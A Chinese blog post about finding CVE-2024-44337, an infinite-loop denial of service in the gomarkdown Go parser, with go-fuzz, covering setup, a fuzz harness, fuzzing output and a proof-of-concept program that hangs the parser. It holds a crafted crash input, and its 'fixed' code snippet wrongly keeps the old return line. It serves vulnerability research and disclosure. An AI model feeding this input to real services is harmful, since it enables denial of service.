CVE-2024-44337--手把手教你go-fuzz模糊测试引擎如何进行漏洞挖掘和复现
Brinmon 发表于 湖南 技术文章 1826浏览 · 2024-10-15 14:11

前言

本文将探讨如何利用模糊测试工具go-fuzz,成功发现并分析了gomarkdown项目中的一个重要漏洞,即CVE-2024-44337。该漏洞涉及输入处理不当,能够被恶意攻击者利用,造成程序崩溃或拒绝服务。这个漏洞的ID编号已经申请出来了,但是细节还没来的急写上去,这是我挖到的第一个CVE,所以记录分析一下!

go-fuzz模糊测试工具地址:dvyukov/go-fuzz: Randomized testing for Go (github.com)
gomarkdown项目地址:gomarkdown/markdown: markdown parser and HTML renderer for Go (github.com)
CVE发现时的issues:"Program Hanged (Timeout 10 Seconds)" Found Using go-fuzz in gomarkdown/markdown · Issue #311 · gomarkdown/markdown (github.com)
复现源码:Brinmon/CVE-2024-44337: CVE-2024-44337 POC .

CVE-2024-44337简介:
包“github.com/gomarkdown/markdown”是一个 Go 库,用于解析 Markdown 文本并呈现为 HTML。在伪版本 'v0.0.0-20240729232818-a2a9c4f' 对应于提交'a2a9c4f76ef5a5c32108e36f7c47f8d310322252' 之前,在parser/block.go文件的paragraph函数中存在逻辑问题,此漏洞允许远程攻击者通过提供导致无限循环的特制输入来导致拒绝服务(DoS)条件,从而导致程序挂起并无限期地消耗资源。提交'a2a9c4f76ef5a5c32108e36f7c47f8d310322252'包含此问题的修补程序。

CVE-2024-44337漏洞成因分析

该漏洞修复的diff链接:fix infinite loop with empty list definition (fixes #311) · gomarkdown/markdown@a2a9c4f (github.com)

1.问题代码分析

这里的漏洞成因非常微小,就只是一个if条件判断考虑失误造成的!
存在漏洞问修复的代码,代码位置parser/block.go:

...
            if p.extensions&DefinitionLists != 0 {
                if i < len(data)-1 && data[i+1] == ':' {
                    listLen := p.list(data[prev:], ast.ListTypeDefinition, 0, '.')
                    return prev + listLen
                }
            }

...

这段代码的主要功能是在段落中遇到定义列表项时,判断其是否符合定义列表的语法(是否有冒号 :),并调用相应的函数 p.list 来处理列表条目。如果成功解析出定义列表,函数返回定义列表的结束位置,确保段落处理逻辑能够正确跳过定义列表部分继续解析。
在未修复的代码中,调用 p.list() 方法后会立即返回 prev + listLen,但是没有验证 listLen 是否有效(即是否大于 0)。

2.修复后的代码分析

漏洞修复后的代码:

...
            if p.extensions&DefinitionLists != 0 {
                if i < len(data)-1 && data[i+1] == ':' {
                    listLen := p.list(data[prev:], ast.ListTypeDefinition, 0, '.')
                    return prev + listLen
                    if listLen > 0 {
                        return prev + listLen
                    }
                }
            }
...

如果 p.list() 返回 0 或者其他异常值,程序没有足够的检查机制来处理这种情况,这可能导致程序进入一个无限循环或者挂起状态,特别是在 p.list() 返回不合适的长度时。
所以这里的解决方案是添加有效性检查:在调用 p.list() 之后,通过检查 listLen 是否为正数来决定是否返回,避免了无效长度引发的挂起问题。

3.导致程序挂起的原因分析

导致无限挂起的原因:
假如 p.list() 方法返回的 listLen 为 0,那么执行 return prev + listLen 的结果会是 return prev。这意味着下次调用同样的代码时,prev 不变,从而可能造成循环重复调用 p.list(),并且永远无法退出,导致程序进入无限挂起状态。

CVE-2024-44337漏洞挖掘和go-fuzz模糊测试

go-fuzz环境配置和介绍

零、go-fuzz源码编译环境配置

环境:Ubuntu20
配置go语言环境:

ub20@ub20:~$ wget https://go.dev/dl/go1.23.0.linux-amd64.tar.gz
ub20@ub20:~$ sudo tar -C /usr/local -xzf  ./go1.23.0.linux-amd64.tar.gz 

#添加环境变量
ub20@ub20:~$ vim ~/.bashrc

#内容
# GOROOTgo的安装路径
export GOROOT="/usr/local/go"
# GOPATHgo的开发路径(自定义就好)
export GOPATH="/home/ub20/gowork"
# GOBINgo工具程序存放路径
export GOBIN=$GOPATH/bin
export PATH=$PATH:${GOPATH//://bin:}/bin:/usr/local/go/bin

ub20@ub20:~$ source ~/.bashrc

#创建工作目录
ub20@ub20:~$ mkdir gowork
ub20@ub20:~$ cd ./gowork/
ub20@ub20:~/gowork$ mkdir bin
ub20@ub20:~/gowork$ mkdir src
ub20@ub20:~/gowork$ mkdir pkg

#解决网络代理问题
go env -w GO111MODULE=on
go env -w GOPROXY=https://goproxy.io,direct

直接使用go语言库的一键安装命令安装

通过命令行安装fuzz工具:

$ go install github.com/dvyukov/go-fuzz/go-fuzz@latest github.com/dvyukov/go-fuzz/go-fuzz-build@latest

源码编译安装和使用(可以自定义魔改)

编译使用教程:go语言模糊测试(一):go-fuzz - FreeBuf网络安全行业门户

源码安装:

#创建要魔改的go-fuzz
mkdir -p $GOPATH/src/github.com/dvyukov/go-fuzz
#下载源码,后可以魔改
git clone https://github.com/dvyukov/go-fuzz.git $GOPATH/src/github.com/dvyukov/go-fuzz

#进入go-fuzz目录进行初始化
#进入源码目录配置go.mod
cd $GOPATH/src/github.com/dvyukov/go-fuzz
go mod init

#安装go-fuzz所需依赖
go get github.com/elazarl/go-bindata-assetfs
go get github.com/stephens2424/writerset
go get golang.org/x/tools/go/packages

最后编译运行验证是否魔改成功!

cd $GOPATH/src/github.com/dvyukov/go-fuzz
#安装go-fuzz的编译工具
ub20@ub20:~/gowork/src/github.com/dvyukov/go-fuzz$ go build -o go-fuzz-build ./go-fuzz-build
ub20@ub20:~/gowork/src/github.com/dvyukov/go-fuzz$ ./go-fuzz-build/go-fuzz-build --help

#安装go-fuzz的运行工具
ub20@ub20:~/gowork/src/github.com/dvyukov/go-fuzz$ go build -o go-fuzz ./go-fuzz
ub20@ub20:~/gowork/src/github.com/dvyukov/go-fuzz$ ./go-fuzz/go-fuzz --help

#将两个工具安装至环境变量
ub20@ub20:~/gowork/src/github.com/dvyukov/go-fuzz$ go install ./go-fuzz
ub20@ub20:~/gowork/src/github.com/dvyukov/go-fuzz$ go install ./go-fuzz-build

成功修改go-fuzz源码:

一、go-fuzz模糊测试引擎介绍

Go-fuzz 是一个用于 Go 包的覆盖率引导的模糊测试解决方案,主要适用于解析复杂输入的包,对强化处理来自潜在恶意用户输入的系统特别有用。它可以帮助发现许多其他测试方法难以发现的错误,且使用成本低、无偏见。完全随机的输入通常难以发现很多错误,而 Go-fuzz 采用覆盖率引导的模糊测试方法,通过收集初始输入语料库并随机变异输入,根据代码覆盖情况添加新的输入到语料库,从而提高发现错误的效率。

二、go-fuzz项目源码的模块结构

go-fuzz 是一个专门为 Go 语言编写的模糊测试工具。它的模块结构如下:
1.Main Package (main.go)
功能:负责初始化和启动模糊测试引擎,解析命令行参数,管理模糊测试的主循环。
关键函数main: 程序入口点,负责解析命令行参数并启动模糊测试。

2.Fuzzing Engine (engine.go)
功能:核心模糊测试引擎,负责变异输入数据、执行目标函数并收集覆盖率信息。
关键函数
Fuzz: 主要的模糊测试函数,执行模糊测试的循环。
Mutate: 对输入数据进行变异。

3.Coverage Collection (cover.go)
功能:收集和报告代码覆盖率信息,以便评估测试用例的有效性。
关键函数
InitCoverage: 初始化覆盖率收集。
RecordCoverage: 记录覆盖率信息。

4.Instrumentation (instrument.go)
功能:在目标代码中插入钩子,以便在运行时收集覆盖率信息和其他运行时数据。
关键函数
Instrument: 在目标代码中插入钩子。

5.Test Case Management (corpus.go)
功能:管理测试用例集合,包括加载和存储测试用例。
关键函数
LoadCorpus: 从磁盘加载测试用例集合。
AddToCorpus: 将新的测试用例添加到集合中。

6.Utils (utils.go)
功能:提供各种实用工具函数,用于日志记录、文件操作等。
关键函数
Log: 日志记录函数。
ReadFile: 读取文件内容。

7.Persistent Mode (persistent.go)
功能:支持持久化模糊测试,即在不重启目标程序的情况下持续进行测试。
关键函数
PersistentLoop: 实现持久化模糊测试的主循环。

8.Configuration and Parameters (config.go)
功能:管理模糊测试的配置选项和参数。
关键函数
ParseFlags: 解析命令行参数。
LoadConfig: 加载配置文件。

三、go-fuzz项目的关键特性和功能

go-fuzz项目目前实现的特性和功能:

  • Fuzz架构 将模糊测试过程分为了Coordinator协调器、Hub中心和Woker多个工作者,每个组件负责不同的任务。
    • go-fuzz 与 libFuzzer 的集成 可以将go编译成libFuzzer支持的格式来进行模糊测试
    • Driver/Program接口 定义了被测程序与模糊测试框架之间的交互方式,包括输入输出、覆盖率收集等。
    • 覆盖率获取 通过在代码中插入插桩代码,记录代码执行情况,从而引导模糊测试生成更有价值的输入。
    • 变异 通过多种变异策略,对输入数据进行随机修改,以增加测试用例的多样性。
    • 语料库管理 有效管理输入数据,优先选择能够覆盖更多代码的输入,提高测试效率。
    • 持久模糊测试 长期运行,不断地收集和分析测试数据,从而提高测试的深度和广度。
    • Sonar声呐 通过在代码中插入声呐探针,可以更精确地定位问题,根据收集到的信息,有针对性地对输入数据进行变异,以触发特定的代码路径。
    • Versifier结构反演器 能够对结构化数据进行智能变异,从而发现更多类型的漏洞。

复现CVE-2024-44337的挖掘流程

下载目标项目gomarkdown并切换至漏洞版本:

ub20@ub20:~$ git clone https://github.com/gomarkdown/markdown.git
正克隆到 'markdown'...
remote: Enumerating objects: 4880, done.
remote: Counting objects: 100% (700/700), done.
remote: Compressing objects: 100% (299/299), done.
remote: Total 4880 (delta 442), reused 506 (delta 383), pack-reused 4180 (from 1)
接收对象中: 100% (4880/4880), 1.87 MiB | 2.25 MiB/s, 完成.
处理 delta : 100% (3155/3155), 完成.

ub20@ub20:~$ git check a2a9c4f76ef5a5c32108e36f7c47f8d310322252^C
ub20@ub20:~$ cd ./markdown/
ub20@ub20:~/markdown$ git checkout a2a9c4f76ef5a5c32108e36f7c47f8d310322252
注意:正在切换到 'a2a9c4f76ef5a5c32108e36f7c47f8d310322252'。
...
HEAD 目前位于 a2a9c4f fix infinite loop with empty list definition (fixes #311)

准备模糊测试所需要的语料库,进行模糊测试时都需要进行一个初始的语料库,比较好,也可以不用!

ub20@ub20:~/markdown$ git clone https://github.com/PMunch/markdown-corpus.git
正克隆到 'markdown-corpus'...
remote: Enumerating objects: 490, done.
remote: Counting objects: 100% (490/490), done.
remote: Compressing objects: 100% (434/434), done.
remote: Total 490 (delta 55), reused 490 (delta 55), pack-reused 0 (from 0)
接收对象中: 100% (490/490), 5.28 MiB | 2.08 MiB/s, 完成.
处理 delta : 100% (55/55), 完成.

创建一个工作目录来存放预料库和运行目录:

#创建一个工作目录
ub20@ub20:~/markdown$ mkdir -p ./fuzz-workdir
#将语料库移动到工作目录
ub20@ub20:~/markdown$ cp -r markdown-corpus/corpus/* ./fuzz-workdir

接下来就要开始寻找要测试的函数目标了,这要对这个项目足够了解,或者根据项目的案例来测试重要的函数,比如这个文档:markdown/examples/readme.md 在 master ·GoMarkdown/Markdown --- markdown/examples/readme.md at master · gomarkdown/markdown (github.com)

根据案例学习后发现:Parse() 这个函数比较关键,解析的数据也比较多,大概率存在问题,所以编写测试代码。

在项目中创建一个文件fuzz.go和初始化fuzz:

ub20@ub20:~/markdown$ go mod init fuzz

这样会产生一个文件相当于引入模糊测试库go-fuzz:

vim fuzz.go

编写以下文件,主要是将模糊测试数据传入Parse(data,nil)函数,运行测试!

//go:build gofuzz
// +build gofuzz

package markdown

// Fuzz is to be used by https://github.com/dvyukov/go-fuzz
func Fuzz(data []byte) int {
    Parse(data, nil)
    return 0
}

编写完成后查看一下:

ub20@ub20:~/markdown$ ls
ast                          go.mod                 md
block_test.go                go.sum                 md_test.go
changes-from-blackfriday.md  helpers_test.go        mmark_test.go
cmd                          html                   parser
doc.go                       html_renderer_test.go  README.md
esc_test.go                  inline_test.go         ref_test.go
examples                     LICENSE.txt            s
fuzz_crashes_test.go         markdown-corpus        testdata
fuzz.go                      markdown.go
fuzz-workdir                 markdown_test.go

使用go-fuzz将fuzz.go编译出来进行模糊测试:

# 编译fuzz.go代码
ub20@ub20:~/markdown$ go-fuzz-build
# 查看编译出来的结果
ub20@ub20:~/markdown$ ls
ast                          go.mod                 markdown_test.go
block_test.go                go.sum                 md
changes-from-blackfriday.md  helpers_test.go        md_test.go
cmd                          html                   mmark_test.go
doc.go                       html_renderer_test.go  parser
esc_test.go                  inline_test.go         README.md
examples                     LICENSE.txt            ref_test.go
fuzz_crashes_test.go         markdown-corpus        s
fuzz.go                      markdown-fuzz.zip      testdata
fuzz-workdir                 markdown.go

成功编译出来后会出现一个markdown-fuzz.zip文件我们可以拿出来看看,这个文件可能和声纳和覆盖率有关吧,但是不知道为什么是exe?:

开始正式的模糊测试:

ub20@ub20:~/markdown$ go-fuzz -bin=./markdown-fuzz.zip -workdir=./fuzz-workdir

解析输出数据:

2024/10/15 18:18:21 
workers: 4,  表示当前有4个工作线程在运行。
corpus: 969 (26s ago), 表示当前使用的测试样本库中有969个测试用例,最近一次测试样本是26秒前添加的。
crashers: 1, 表示发现了1个导致程序崩溃的测试用例。
restarts: 1/8994, 表示程序已重启了1次,总共执行了8994次输入(或处理循环)。
execs: 557678 (18589/sec), 表示总共执行了557678次测试,平均每秒执行18589次。
cover: 1927, 表示当前覆盖了1927个代码块。
uptime: 30s 表示测试工具已经运行的时间

来看看运行后产生的工作目录:

ub20@ub20:~/markdown$ ls ./fuzz-workdir/
corpus                                                            
suppressions
crashers

corpus

  • 这是模糊测试工具用来存储种子输入集的文件夹。模糊测试会在运行过程中不断丰富这个输入集,通过变异(mutation)生成更多样化的输入。
  • corpus 文件夹中的数据可以被复用,工具可以基于这些输入重新执行测试,或在下一次测试中继续从这些输入开始。

crashers

  • 这个文件夹专门用于存储导致程序崩溃的输入集(也称为 crashes)。当模糊测试发现某个输入导致目标程序崩溃时,会将这些输入保存在 crashers 目录下,供后续的调试与分析。
  • 开发人员可以使用这些崩溃输入来复现和分析问题,以定位并修复漏洞。

suppressions

  • 这个文件夹一般存储用于屏蔽某些已知或不必要的错误或警告的配置文件。模糊测试工具可能会在运行时遇到一些已知的、不影响测试目标的错误,为了避免它们频繁出现,用户可以创建和维护一个抑制(suppression)列表,将这些特定的错误或警告排除在报告之外。

查看一下刚刚的Crashes产生的文件:

ub20@ub20:~/markdown$ ls ./fuzz-workdir/crashers/
6352b36848220fd923515ee94b6a90237024e28b  6352b36848220fd923515ee94b6a90237024e28b.output  6352b36848220fd923515ee94b6a90237024e28b.quoted
ub20@ub20:~/markdown$ cat ./fuzz-workdir/crashers/6352b36848220fd923515ee94b6a90237024e28b.quoted 
    "|[][\xc5\r$\r\r$\n\r$\r\r%\r```" +
    "```\r: "
ub20@ub20:~/markdown$ cat ./fuzz-workdir/crashers/6352b36848220fd923515ee94b6a90237024e28b
$[][

文件解析:
6352b36848220fd923515ee94b6a90237024e28b就算原本导致程序陷入死循环的特定数据,
.output文件是报错时候产生的信息,
.quoted文件是这段特定数据的可见字符编码形式,

gomarkdown的死循环复现

讲造成挂起的数据导出进行手动投喂,开始写例子进行手动投喂复现死循环:

package main

import (
    "log"
    "github.com/gomarkdown/markdown"
)

func main() {
    // 申请字符串变量
    str := "~~~~\xb4~\x94~\x94~\xd1\r\r:\xb4\x94\x94~\x9f~\xb4~\x94~\x94\x94"

    // 将字符串转换为字节切片
    data := []byte(str)
    log.Println("Starting markdown parsing with manual input...")
    markdown.Parse(data, nil)
    log.Println("Parsing completed successfully.")
}

运行之后一直挂起,手动停止:

root@8d09d0785da6:~/markdown/Test1# go run manual_fuzz.go
2024/07/29 06:50:21 Starting markdown parsing with manual input...
^Csignal: interrupt

go-fuzz的参考文献

如果相对go-fuzz有更多的了解可以访问这里:

1 条评论
某人
表情
可输入 255